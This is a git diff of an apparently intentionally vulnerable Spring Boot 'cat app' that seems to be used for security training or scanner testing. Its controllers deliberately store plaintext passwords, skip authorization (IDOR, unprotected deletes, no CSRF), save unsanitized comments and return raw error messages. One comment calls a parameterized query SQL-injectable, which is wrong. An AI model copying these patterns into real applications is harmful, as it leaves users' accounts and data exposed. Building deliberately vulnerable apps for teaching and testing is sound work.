-19:26:46.116 [Test worker] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper -- Found @SpringBootConfiguration com.example.insecurejava.InsecureJavaApplication for test class com.example.insecurejava.InsecureJavaApplicationTests
+  <testcase name="contextLoads()" classname="com.example.insecurejava.InsecureJavaApplicationTests" time="0.136"/>
+  <system-out><![CDATA[19:30:59.468 [Test worker] DEBUG org.springframework.test.context.BootstrapUtils - Instantiating CacheAwareContextLoaderDelegate from class [org.springframework.test.context.cache.DefaultCacheAwareContextLoaderDelegate]
+19:30:59.473 [Test worker] DEBUG org.springframework.test.context.BootstrapUtils - Instantiating BootstrapContext using constructor [public org.springframework.test.context.support.DefaultBootstrapContext(java.lang.Class,org.springframework.test.context.CacheAwareContextLoaderDelegate)]
+19:30:59.489 [Test worker] DEBUG org.springframework.test.context.BootstrapUtils - Instantiating TestContextBootstrapper for test class [com.example.insecurejava.InsecureJavaApplicationTests] from class [org.springframework.boot.test.context.SpringBootTestContextBootstrapper]
+19:30:59.494 [Test worker] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Neither @ContextConfiguration nor @ContextHierarchy found for test class [com.example.insecurejava.InsecureJavaApplicationTests], using SpringBootContextLoader
+19:30:59.495 [Test worker] DEBUG org.springframework.test.context.support.AbstractContextLoader - Did not detect default resource location for test class [com.example.insecurejava.InsecureJavaApplicationTests]: class path resource [com/example/insecurejava/InsecureJavaApplicationTests-context.xml] does not exist
+19:30:59.495 [Test worker] DEBUG org.springframework.test.context.support.AbstractContextLoader - Did not detect default resource location for test class [com.example.insecurejava.InsecureJavaApplicationTests]: class path resource [com/example/insecurejava/InsecureJavaApplicationTestsContext.groovy] does not exist
+19:30:59.495 [Test worker] INFO org.springframework.test.context.support.AbstractContextLoader - Could not detect default resource locations for test class [com.example.insecurejava.InsecureJavaApplicationTests]: no resource found for suffixes {-context.xml, Context.groovy}.
+19:30:59.496 [Test worker] INFO org.springframework.test.context.support.AnnotationConfigContextLoaderUtils - Could not detect default configuration classes for test class [com.example.insecurejava.InsecureJavaApplicationTests]: InsecureJavaApplicationTests does not declare any static, non-private, non-final, nested classes annotated with @Configuration.
+19:30:59.516 [Test worker] DEBUG org.springframework.test.context.support.ActiveProfilesUtils - Could not find an 'annotation declaring class' for annotation type [org.springframework.test.context.ActiveProfiles] and class [com.example.insecurejava.InsecureJavaApplicationTests]
+19:30:59.542 [Test worker] DEBUG org.springframework.context.annotation.ClassPathScanningCandidateComponentProvider - Identified candidate component class: file [/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-java/build/classes/java/main/com/example/insecurejava/InsecureJavaApplication.class]
+19:30:59.549 [Test worker] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Found @SpringBootConfiguration com.example.insecurejava.InsecureJavaApplication for test class com.example.insecurejava.InsecureJavaApplicationTests
+19:30:59.584 [Test worker] DEBUG org.springframework.boot.test.context.SpringBootTestContextBootstrapper - @TestExecutionListeners is not present for class [com.example.insecurejava.InsecureJavaApplicationTests]: using defaults.
+19:30:59.584 [Test worker] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Loaded default TestExecutionListener class names from location [META-INF/spring.factories]: [org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener, org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener, org.springframework.test.context.web.ServletTestExecutionListener, org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener, org.springframework.test.context.event.ApplicationEventsTestExecutionListener, org.springframework.test.context.support.DependencyInjectionTestExecutionListener, org.springframework.test.context.support.DirtiesContextTestExecutionListener, org.springframework.test.context.transaction.TransactionalTestExecutionListener, org.springframework.test.context.jdbc.SqlScriptsTestExecutionListener, org.springframework.test.context.event.EventPublishingTestExecutionListener]
+19:30:59.590 [Test worker] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Using TestExecutionListeners: [org.springframework.test.context.web.ServletTestExecutionListener@3d484181, org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener@6111ba37, org.springframework.test.context.event.ApplicationEventsTestExecutionListener@7be58f16, org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener@242aa8d9, org.springframework.boot.test.autoconfigure.SpringBootDependencyInjectionTestExecutionListener@5b11a194, org.springframework.test.context.support.DirtiesContextTestExecutionListener@37bd68c3, org.springframework.test.context.transaction.TransactionalTestExecutionListener@60f7cc1d, org.springframework.test.context.jdbc.SqlScriptsTestExecutionListener@11eadcba, org.springframework.test.context.event.EventPublishingTestExecutionListener@4721d212, org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener@1b065145, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener@45cff11c, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener@207ea13, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener@4bff1903, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener@62dae540, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener@5827af16]
+19:30:59.592 [Test worker] DEBUG org.springframework.test.context.support.AbstractDirtiesContextTestExecutionListener - Before test class: context [DefaultTestContext@a8c1f44 testClass = InsecureJavaApplicationTests, testInstance = [null], testMethod = [null], testException = [null], mergedContextConfiguration = [WebMergedContextConfiguration@150ab4ed testClass = InsecureJavaApplicationTests, locations = '{}', classes = '{class com.example.insecurejava.InsecureJavaApplication}', contextInitializerClasses = '[]', activeProfiles = '{}', propertySourceLocations = '{}', propertySourceProperties = '{org.springframework.boot.test.context.SpringBootTestContextBootstrapper=true}', contextCustomizers = set[org.springframework.boot.test.autoconfigure.actuate.metrics.MetricsExportContextCustomizerFactory$DisableMetricExportContextCustomizer@36a5cabc, org.springframework.boot.test.autoconfigure.properties.PropertyMappingContextCustomizer@0, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverContextCustomizerFactory$Customizer@4ff8d125, org.springframework.boot.test.context.filter.ExcludeFilterContextCustomizer@327bcebd, org.springframework.boot.test.json.DuplicateJsonObjectContextCustomizerFactory$DuplicateJsonObjectContextCustomizer@1339e7aa, org.springframework.boot.test.mock.mockito.MockitoContextCustomizer@0, org.springframework.boot.test.web.client.TestRestTemplateContextCustomizer@31ff43be, org.springframework.boot.test.context.SpringBootTestArgs@1, org.springframework.boot.test.context.SpringBootTestWebEnvironment@6aaceffd], resourceBasePath = 'src/main/webapp', contextLoader = 'org.springframework.boot.test.context.SpringBootContextLoader', parent = [null]], attributes = map['org.springframework.test.context.web.ServletTestExecutionListener.activateListener' -> true]], class annotated with @DirtiesContext [false] with mode [null].
 
   .   ____          _            __ _ _
  /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
@@ -11,11 +24,22 @@
  \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
   '  |____| .__|_| |_|_| |_\__, | / / / /
  =========|_|==============|___/=/_/_/_/
- :: Spring Boot ::                (v3.2.4)
+ :: Spring Boot ::                (v2.7.3)
 
-2024-03-27T19:26:46.320-04:00  INFO 39301 --- [insecure-java] [    Test worker] c.e.i.InsecureJavaApplicationTests       : Starting InsecureJavaApplicationTests using Java 17.0.10 with PID 39301 (started by confusedcrib in /home/confusedcrib/git/insecure-kubernetes-deployments/insecure-java)
-2024-03-27T19:26:46.321-04:00  INFO 39301 --- [insecure-java] [    Test worker] c.e.i.InsecureJavaApplicationTests       : No active profile set, falling back to 1 default profile: "default"
-2024-03-27T19:26:46.919-04:00  INFO 39301 --- [insecure-java] [    Test worker] c.e.i.InsecureJavaApplicationTests       : Started InsecureJavaApplicationTests in 0.736 seconds (process running for 1.302)
+2024-11-21 19:30:59.742  INFO 37571 --- [    Test worker] c.e.i.InsecureJavaApplicationTests       : Starting InsecureJavaApplicationTests using Java 17.0.10 on james-2023 with PID 37571 (started by confusedcrib in /home/confusedcrib/git/insecure-kubernetes-deployments/insecure-java)
+2024-11-21 19:30:59.742  INFO 37571 --- [    Test worker] c.e.i.InsecureJavaApplicationTests       : No active profile set, falling back to 1 default profile: "default"
+2024-11-21 19:31:00.022  INFO 37571 --- [    Test worker] .s.d.r.c.RepositoryConfigurationDelegate : Bootstrapping Spring Data JPA repositories in DEFAULT mode.
+2024-11-21 19:31:00.032  INFO 37571 --- [    Test worker] .s.d.r.c.RepositoryConfigurationDelegate : Finished Spring Data repository scanning in 3 ms. Found 0 JPA repository interfaces.
+2024-11-21 19:31:00.289  INFO 37571 --- [    Test worker] o.hibernate.jpa.internal.util.LogHelper  : HHH000204: Processing PersistenceUnitInfo [name: default]
+2024-11-21 19:31:00.309  INFO 37571 --- [    Test worker] org.hibernate.Version                    : HHH000412: Hibernate ORM core version 5.6.10.Final
+2024-11-21 19:31:00.370  INFO 37571 --- [    Test worker] o.hibernate.annotations.common.Version   : HCANN000001: Hibernate Commons Annotations {5.1.2.Final}
+2024-11-21 19:31:00.405  INFO 37571 --- [    Test worker] com.zaxxer.hikari.HikariDataSource       : HikariPool-1 - Starting...
+2024-11-21 19:31:00.487  INFO 37571 --- [    Test worker] com.zaxxer.hikari.HikariDataSource       : HikariPool-1 - Start completed.
+2024-11-21 19:31:00.494  INFO 37571 --- [    Test worker] org.hibernate.dialect.Dialect            : HHH000400: Using dialect: org.hibernate.dialect.H2Dialect
+2024-11-21 19:31:00.564  INFO 37571 --- [    Test worker] o.h.e.t.j.p.i.JtaPlatformInitiator       : HHH000490: Using JtaPlatform implementation: [org.hibernate.engine.transaction.jta.platform.internal.NoJtaPlatform]
+2024-11-21 19:31:00.567  INFO 37571 --- [    Test worker] j.LocalContainerEntityManagerFactoryBean : Initialized JPA EntityManagerFactory for persistence unit 'default'
+2024-11-21 19:31:00.667  WARN 37571 --- [    Test worker] JpaBaseConfiguration$JpaWebConfiguration : spring.jpa.open-in-view is enabled by default. Therefore, database queries may be performed during view rendering. Explicitly configure spring.jpa.open-in-view to disable this warning
+2024-11-21 19:31:01.024  INFO 37571 --- [    Test worker] c.e.i.InsecureJavaApplicationTests       : Started InsecureJavaApplicationTests in 1.414 seconds (JVM running for 1.915)
 ]]></system-out>
   <system-err><![CDATA[]]></system-err>
 </testsuite>
diff --git a/insecure-java/build/test-results/test/binary/output.bin b/insecure-java/build/test-results/test/binary/output.bin
index d3fb150..fb61a64 100644
Binary files a/insecure-java/build/test-results/test/binary/output.bin and b/insecure-java/build/test-results/test/binary/output.bin differ
diff --git a/insecure-java/build/test-results/test/binary/output.bin.idx b/insecure-java/build/test-results/test/binary/output.bin.idx
index ac0529d..d724b5a 100644
Binary files a/insecure-java/build/test-results/test/binary/output.bin.idx and b/insecure-java/build/test-results/test/binary/output.bin.idx differ
diff --git a/insecure-java/build/test-results/test/binary/results.bin b/insecure-java/build/test-results/test/binary/results.bin
index 613a759..495b144 100644
Binary files a/insecure-java/build/test-results/test/binary/results.bin and b/insecure-java/build/test-results/test/binary/results.bin differ
diff --git a/insecure-java/build/tmp/bootJar/MANIFEST.MF b/insecure-java/build/tmp/bootJar/MANIFEST.MF
index c99d411..58630c0 100644
--- a/insecure-java/build/tmp/bootJar/MANIFEST.MF
+++ b/insecure-java/build/tmp/bootJar/MANIFEST.MF
@@ -1,12 +1,2 @@
 Manifest-Version: 1.0
-Main-Class: org.springframework.boot.loader.launch.JarLauncher
-Start-Class: com.example.insecurejava.InsecureJavaApplication
-Spring-Boot-Version: 3.2.4
-Spring-Boot-Classes: BOOT-INF/classes/
-Spring-Boot-Lib: BOOT-INF/lib/
-Spring-Boot-Classpath-Index: BOOT-INF/classpath.idx
-Spring-Boot-Layers-Index: BOOT-INF/layers.idx
-Build-Jdk-Spec: 17
-Implementation-Title: insecure-java
-Implementation-Version: 0.0.1-SNAPSHOT
 
diff --git a/insecure-java/build/tmp/compileJava/previous-compilation-data.bin b/insecure-java/build/tmp/compileJava/previous-compilation-data.bin
index 10eb2d1..61337c6 100644
Binary files a/insecure-java/build/tmp/compileJava/previous-compilation-data.bin and b/insecure-java/build/tmp/compileJava/previous-compilation-data.bin differ
diff --git a/insecure-java/build/tmp/compileTestJava/previous-compilation-data.bin b/insecure-java/build/tmp/compileTestJava/previous-compilation-data.bin
index 228c372..c7dbcb8 100644
Binary files a/insecure-java/build/tmp/compileTestJava/previous-compilation-data.bin and b/insecure-java/build/tmp/compileTestJava/previous-compilation-data.bin differ
diff --git a/insecure-java/src/main/java/com/example/catapp/CatAppApplication.java b/insecure-java/src/main/java/com/example/catapp/CatAppApplication.java
new file mode 100644
index 0000000..a9b09ef
--- /dev/null
+++ b/insecure-java/src/main/java/com/example/catapp/CatAppApplication.java
@@ -0,0 +1,12 @@
+package com.example.catapp;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+@SpringBootApplication
+public class CatAppApplication {
+
+    public static void main(String[] args) {
+        SpringApplication.run(CatAppApplication.class, args);
+    }
+}
diff --git a/insecure-java/src/main/java/com/example/catapp/CatApplication.java b/insecure-java/src/main/java/com/example/catapp/CatApplication.java
new file mode 100644
index 0000000..e69de29
diff --git a/insecure-java/src/main/java/com/example/catapp/config/DataInitializer.java b/insecure-java/src/main/java/com/example/catapp/config/DataInitializer.java
new file mode 100644
index 0000000..d306ee3
--- /dev/null
+++ b/insecure-java/src/main/java/com/example/catapp/config/DataInitializer.java
@@ -0,0 +1,80 @@
+package com.example.catapp.config;
+
+import com.example.catapp.models.CatPicture;
+import com.example.catapp.models.Comment;
+import com.example.catapp.models.User;
+import com.example.catapp.repositories.CatPictureRepository;
+import com.example.catapp.repositories.CommentRepository;
+import com.example.catapp.repositories.UserRepository;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.boot.CommandLineRunner;
+import org.springframework.stereotype.Component;
+
+import java.util.Arrays;
+import java.util.List;
+
+@Component
+public class DataInitializer implements CommandLineRunner {
+
+    @Autowired
+    private UserRepository userRepository;
+
+    @Autowired
+    private CatPictureRepository catPictureRepository;
+
+    @Autowired
+    private CommentRepository commentRepository;
+
+    @Override
+    public void run(String... args) {
+        // Create dummy users
+        List<User> users = Arrays.asList(
+            createUser("admin", "admin123"),
+            createUser("john_doe", "password123"),
+            createUser("jane_smith", "qwerty123"),
+            createUser("bob_wilson", "letmein123")
+        );
+        users.forEach(userRepository::save);
+
+        // Create dummy cat pictures
+        List<CatPicture> pictures = Arrays.asList(
+            createCatPicture("Fluffy", "https://placekitten.com/200/200", 1),
+            createCatPicture("Whiskers", "https://placekitten.com/201/201", 2),
+            createCatPicture("Mittens", "https://placekitten.com/202/202", 3),
+            createCatPicture("Shadow", "https://placekitten.com/203/203", 4),
+            createCatPicture("Luna", "https://placekitten.com/204/204", 1)
+        );
+        pictures.forEach(catPictureRepository::save);
+
+        // Create dummy comments
+        List<Comment> comments = Arrays.asList(
+            createComment("What a beautiful cat! 😺", 1),
+            createComment("I love the colors!", 2),
+            createComment("This cat looks so happy!", 3),
+            createComment("Great photo! 📸", 4),
+            createComment("Adorable! ❤️", 1)
+        );
+        comments.forEach(commentRepository::save);
+    }
+
+    private User createUser(String username, String password) {
+        User user = new User();
+        user.setUsername(username);
+        user.setPassword(password); // In a real app, this should be hashed
+        return user;
+    }
+
+    private CatPicture createCatPicture(String name, String url, int ownerId) {
+        CatPicture picture = new CatPicture();
+        picture.setName(name);
+        picture.setUrl(url);
+        picture.setOwnerId(ownerId);
+        return picture;
+    }
+
+    private Comment createComment(String text, int userId) {
+        Comment comment = new Comment();
+        comment.setText(text);
+        return comment;
+    }
+} 
\ No newline at end of file
diff --git a/insecure-java/src/main/java/com/example/catapp/config/GlobalExceptionHandler.java b/insecure-java/src/main/java/com/example/catapp/config/GlobalExceptionHandler.java
new file mode 100644
index 0000000..603cc1e
--- /dev/null
+++ b/insecure-java/src/main/java/com/example/catapp/config/GlobalExceptionHandler.java
@@ -0,0 +1,17 @@
+package com.example.catapp.config;
+
+import org.springframework.http.HttpStatus;
+import org.springframework.web.bind.annotation.*;
+
+@ControllerAdvice
+public class GlobalExceptionHandler {
+
+    // Vulnerability 4: Security Misconfiguration
+    @ExceptionHandler(Exception.class)
+    @ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
+    @ResponseBody
+    public String handleAllExceptions(Exception ex) {
+        // Detailed error messages are exposed to users
+        return "Error occurred: " + ex.getMessage();
+    }
+}
diff --git a/insecure-java/src/main/java/com/example/catapp/controllers/CatPictureController.java b/insecure-java/src/main/java/com/example/catapp/controllers/CatPictureController.java
new file mode 100644
index 0000000..f283a7d
--- /dev/null
+++ b/insecure-java/src/main/java/com/example/catapp/controllers/CatPictureController.java
@@ -0,0 +1,42 @@
+package com.example.catapp.controllers;
+
+import com.example.catapp.models.CatPicture;
+import com.example.catapp.repositories.CatPictureRepository;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.Model;
+import org.springframework.web.bind.annotation.*;
+import java.util.List;
+
+@Controller
+public class CatPictureController {
+
+    @Autowired
+    private CatPictureRepository catPictureRepository;
+
+    @GetMapping("/search")
+    public String searchForm() {
+        return "search"; // Returns search.html
+    }
+
+    @PostMapping("/search")
+    public String search(@RequestParam String name, Model model) {
+        // Vulnerable to SQL Injection
+        List<CatPicture> results = catPictureRepository.findByNameQuery(name);
+        model.addAttribute("pictures", results);
+        return "searchResults"; // Returns searchResults.html
+    }
+
+    @GetMapping("/delete")
+    public String deleteForm() {
+        return "delete"; // Returns delete.html
+    }
+
+    @PostMapping("/delete")
+    public String deletePicture(@RequestParam int id, Model model) {
+        // Vulnerable to Broken Access Control
+        catPictureRepository.deleteById(id);
+        model.addAttribute("message", "Picture deleted");
+        return "deleteResult"; // Returns deleteResult.html
+    }
+}
diff --git a/insecure-java/src/main/java/com/example/catapp/controllers/CommentController.java b/insecure-java/src/main/java/com/example/catapp/controllers/CommentController.java
new file mode 100644
index 0000000..677bbef
--- /dev/null
+++ b/insecure-java/src/main/java/com/example/catapp/controllers/CommentController.java
@@ -0,0 +1,47 @@
+package com.example.catapp.controllers;
+
+import com.example.catapp.models.Comment;
+import com.example.catapp.repositories.CommentRepository;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.Model;
+import org.springframework.web.bind.annotation.*;
+import org.springframework.web.servlet.mvc.support.RedirectAttributes;
+
+import java.util.List;
+
+@Controller
+public class CommentController {
+
+    @Autowired
+    private CommentRepository commentRepository;
+
+    @GetMapping("/addComment")
+    public String addCommentForm() {
+        return "addComment"; // Returns addComment.html
+    }
+
+    @PostMapping("/addComment")
+    public String addComment(@RequestParam String commentText, Model model) {
+        Comment comment = new Comment();
+        comment.setText(commentText); // No sanitization
+        commentRepository.save(comment);
+        model.addAttribute("message", "Comment added");
+        return "addCommentResult"; // Returns addCommentResult.html
+    }
+
+    @GetMapping("/comments")
+    public String getComments(Model model) {
+        List<Comment> comments = commentRepository.findAll();
+        model.addAttribute("comments", comments);
+        return "comments"; // Returns comments.html
+    }
+
+        // Vulnerable Endpoint: Delete Comment without CSRF Protection
+    @PostMapping("/deleteComment")
+    public String deleteComment(@RequestParam int commentId, RedirectAttributes redirectAttributes) {
+        commentRepository.deleteById(commentId);
+        redirectAttributes.addFlashAttribute("message", "Comment deleted");
+        return "redirect:/comments";
+    }
+}
diff --git a/insecure-java/src/main/java/com/example/catapp/controllers/HomeController.java b/insecure-java/src/main/java/com/example/catapp/controllers/HomeController.java
new file mode 100644
index 0000000..fb8138f
--- /dev/null
+++ b/insecure-java/src/main/java/com/example/catapp/controllers/HomeController.java
@@ -0,0 +1,15 @@
+package com.example.catapp.controllers;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.Model;
+import org.springframework.web.bind.annotation.GetMapping;
+
+@Controller
+public class HomeController {
+
+    @GetMapping("/")
+    public String home(Model model) {
+        model.addAttribute("title", "Home - Cat App");
+        return "home";
+    }
+}
diff --git a/insecure-java/src/main/java/com/example/catapp/controllers/UserController.java b/insecure-java/src/main/java/com/example/catapp/controllers/UserController.java
new file mode 100644
index 0000000..93343df
--- /dev/null
+++ b/insecure-java/src/main/java/com/example/catapp/controllers/UserController.java
@@ -0,0 +1,142 @@
+package com.example.catapp.controllers;
+
+import com.example.catapp.models.User;
+import com.example.catapp.repositories.UserRepository;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.Model;
+import org.springframework.web.bind.annotation.*;
+import org.springframework.web.servlet.mvc.support.RedirectAttributes;
+import javax.servlet.http.HttpSession;
+    
+@Controller
+public class UserController {
+
+    @Autowired
+    private UserRepository userRepository;
+
+    @GetMapping("/register")
+    public String registerForm(Model model) {
+        return "register";
+    }
+
+    @PostMapping("/register")
+    public String register(@RequestParam String username, @RequestParam String password, 
+                          RedirectAttributes redirectAttributes, HttpSession session) {
+        // Check if username already exists
+        if (userRepository.findByUsername(username) != null) {
+            redirectAttributes.addFlashAttribute("error", "Username already exists");
+            return "redirect:/register";
+        }
+
+        User user = new User();
+        user.setUsername(username);
+        user.setPassword(password); // Password stored in plaintext
+        userRepository.save(user);
+        
+        // Auto-login after registration
+        session.setAttribute("userId", user.getId());
+        session.setAttribute("username", user.getUsername());
+        
+        redirectAttributes.addFlashAttribute("message", "Registration successful! Welcome " + username);
+        return "redirect:/";
+    }
+
+    @GetMapping("/login")
+    public String loginForm(HttpSession session, Model model) {
+        // Redirect if already logged in
+        if (session.getAttribute("userId") != null) {
+            return "redirect:/";
+        }
+        return "login";
+    }
+
+    @PostMapping("/login")
+    public String login(@RequestParam String username, @RequestParam String password, 
+                       HttpSession session, Model model) {
+        User user = userRepository.findByUsernameAndPassword(username, password);
+        if (user != null) {
+            // Set session attributes
+            session.setAttribute("userId", user.getId());
+            session.setAttribute("username", user.getUsername());
+            return "redirect:/";
+        } else {
+            model.addAttribute("error", "Invalid username or password");
+            return "login";
+        }
+    }
+
+    @GetMapping("/logout")
+    public String logout(HttpSession session) {
+        session.invalidate();
+        return "redirect:/login";
+    }
+
+    // Vulnerable IDOR Endpoint: View Profile
+    @GetMapping("/profile")
+    public String viewProfile(@RequestParam(required = false) Integer userId, 
+                            HttpSession session, Model model) {
+        // If no userId provided, show current user's profile
+        if (userId == null) {
+            userId = (Integer) session.getAttribute("userId");
+            if (userId == null) {
+                return "redirect:/login";
+            }
+        }
+        
+        // No authorization check; any user can view any profile
+        User user = userRepository.findById(userId).orElse(null);
+        if (user == null) {
+            model.addAttribute("error", "User not found");
+            model.addAttribute("title", "profile.html");
+            model.addAttribute("content", "profile.html :: content");
+            return "layout";
+        }
+        model.addAttribute("user", user);
+        model.addAttribute("title", "profile.html");
+        model.addAttribute("content", "profile.html :: content");
+        return "layout";
+    }
+
+    // Vulnerable IDOR Endpoint: Edit Profile
+    @GetMapping("/editProfile")
+    public String editProfileForm(@RequestParam(required = false) Integer userId, 
+                                HttpSession session, Model model) {
+        // If no userId provided, edit current user's profile
+        if (userId == null) {
+            userId = (Integer) session.getAttribute("userId");
+            if (userId == null) {
+                return "redirect:/login";
+            }
+        }
+        
+        // No authorization check
+        User user = userRepository.findById(userId).orElse(null);
+        if (user == null) {
+            model.addAttribute("error", "User not found");
+            model.addAttribute("title", "editProfile.html");
+            model.addAttribute("content", "editProfile.html :: content");
+            return "layout";
+        }
+        model.addAttribute("user", user);
+        model.addAttribute("title", "editProfile.html");
+        model.addAttribute("content", "editProfile.html :: content");
+        return "layout";
+    }
+
+    @PostMapping("/editProfile")
+    public String editProfile(@RequestParam Integer userId, @RequestParam String username,
+                            @RequestParam String password, RedirectAttributes redirectAttributes) {
+        // No authorization check
+        User user = userRepository.findById(userId).orElse(null);
+        if (user != null) {
+            user.setUsername(username);
+            user.setPassword(password); // Still storing plaintext passwords
+            userRepository.save(user);
+            redirectAttributes.addFlashAttribute("message", "Profile updated successfully");
+        } else {
+            redirectAttributes.addFlashAttribute("error", "User not found");
+        }
+        return "redirect:/profile?userId=" + userId;
+    }
+}
diff --git a/insecure-java/src/main/java/com/example/catapp/models/CatPicture.java b/insecure-java/src/main/java/com/example/catapp/models/CatPicture.java
new file mode 100644
index 0000000..242f7c0
--- /dev/null
+++ b/insecure-java/src/main/java/com/example/catapp/models/CatPicture.java
@@ -0,0 +1,52 @@
+package com.example.catapp.models;
+
+import javax.persistence.*;
+
+@Entity
+@Table(name = "cat_pictures")
+public class CatPicture {
+
+    @Id
+    @GeneratedValue(strategy = GenerationType.IDENTITY)
+    private int id;
+
+    private String name;
+    private String url;
+    private int ownerId;
+
+    // Getters and Setters
+
+    public int getId() {
+        return id;
+    }
+
+    // ... other getters and setters
+
+    public void setId(int id) {
+        this.id = id;
+    }
+
+    public String getName() {
+        return name;
+    }
+
+    public void setName(String name) {
+        this.name = name;
+    }
+
+    public String getUrl() {
+        return url;
+    }
+
+    public void setUrl(String url) {
+        this.url = url;
+    }
+
+    public int getOwnerId() {
+        return ownerId;
+    }
+
+    public void setOwnerId(int ownerId) {
+        this.ownerId = ownerId;
+    }
+}
diff --git a/insecure-java/src/main/java/com/example/catapp/models/Comment.java b/insecure-java/src/main/java/com/example/catapp/models/Comment.java
new file mode 100644
index 0000000..475a167
--- /dev/null
+++ b/insecure-java/src/main/java/com/example/catapp/models/Comment.java
@@ -0,0 +1,35 @@
+package com.example.catapp.models;
+
+import javax.persistence.*;
+
+@Entity
+@Table(name = "comments")
+public class Comment {
+
+    @Id
+    @GeneratedValue(strategy = GenerationType.IDENTITY)
+    private int id;
+
+    @Column(columnDefinition = "TEXT")
+    private String text;
+
+    // Getters and Setters
+
+    public int getId() {
+        return id;
+    }
+
+    // ... other getters and setters
+
+    public void setId(int id) {
+        this.id = id;
+    }
+
+	public String getText() {
+		return text;
+	}
+
+	public void setText(String text) {
+		this.text = text;
+	}
+}
diff --git a/insecure-java/src/main/java/com/example/catapp/models/User.java b/insecure-java/src/main/java/com/example/catapp/models/User.java
new file mode 100644
index 0000000..745e1a7
--- /dev/null
+++ b/insecure-java/src/main/java/com/example/catapp/models/User.java
@@ -0,0 +1,43 @@
+package com.example.catapp.models;
+
+import javax.persistence.Entity;
+import javax.persistence.GeneratedValue;
+import javax.persistence.GenerationType;
+import javax.persistence.Id;
+import javax.persistence.Table;
+
+@Entity
+@Table(name = "users")
+public class User {
+
+    @Id
+    @GeneratedValue(strategy = GenerationType.AUTO)
+    private Long id;
+    private String username;
+    private String password;
+
+    // Getters and setters
+    public Long getId() {
+        return id;
+    }
+
+    public void setId(Long id) {
+        this.id = id;
+    }
+
+    public String getUsername() {
+        return username;
+    }
+
+    public void setUsername(String username) {
+        this.username = username;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public void setPassword(String password) {
+        this.password = password;
+    }
+}
\ No newline at end of file
diff --git a/insecure-java/src/main/java/com/example/catapp/repositories/CatPictureRepository.java b/insecure-java/src/main/java/com/example/catapp/repositories/CatPictureRepository.java
new file mode 100644
index 0000000..824dcfc
--- /dev/null
+++ b/insecure-java/src/main/java/com/example/catapp/repositories/CatPictureRepository.java
@@ -0,0 +1,15 @@
+package com.example.catapp.repositories;
+
+import com.example.catapp.models.CatPicture;
+import org.springframework.data.jpa.repository.JpaRepository;
+import org.springframework.data.jpa.repository.Query;
+import org.springframework.stereotype.Repository;
+import java.util.List;
+
+@Repository
+public interface CatPictureRepository extends JpaRepository<CatPicture, Integer> {
+
+    // Vulnerable method using a raw query with user input
+    @Query(value = "SELECT * FROM cat_pictures WHERE name = ?1", nativeQuery = true)
+    List<CatPicture> findByNameQuery(String name);
+}
diff --git a/insecure-java/src/main/java/com/example/catapp/repositories/CommentRepository.java b/insecure-java/src/main/java/com/example/catapp/repositories/CommentRepository.java
new file mode 100644
index 0000000..db373ff
--- /dev/null
+++ b/insecure-java/src/main/java/com/example/catapp/repositories/CommentRepository.java
@@ -0,0 +1,10 @@
+package com.example.catapp.repositories;
+
+import com.example.catapp.models.Comment;
+import org.springframework.data.jpa.repository.JpaRepository;
+import org.springframework.stereotype.Repository;
+
+@Repository
+public interface CommentRepository extends JpaRepository<Comment, Integer> {
+    // Additional query methods if needed
+}
diff --git a/insecure-java/src/main/java/com/example/catapp/repositories/UserRepository.java b/insecure-java/src/main/java/com/example/catapp/repositories/UserRepository.java
new file mode 100644
index 0000000..3bd3cb0
--- /dev/null
+++ b/insecure-java/src/main/java/com/example/catapp/repositories/UserRepository.java
@@ -0,0 +1,11 @@
+package com.example.catapp.repositories;
+
+import com.example.catapp.models.User;
+import org.springframework.data.jpa.repository.JpaRepository;
+import org.springframework.stereotype.Repository;
+
+@Repository
+public interface UserRepository extends JpaRepository<User, Integer> {
+    User findByUsernameAndPassword(String username, String password); // Vulnerability: Insecure authentication
+    User findByUsername(String username); // Vulnerability: No rate limiting on username checks
+}
diff --git a/insecure-java/src/main/java/com/example/semgrep.sarif b/insecure-java/src/main/java/com/example/semgrep.sarif
new file mode 100644
index 0000000..c60fbd7
--- /dev/null
+++ b/insecure-java/src/main/java/com/example/semgrep.sarif
@@ -0,0 +1 @@
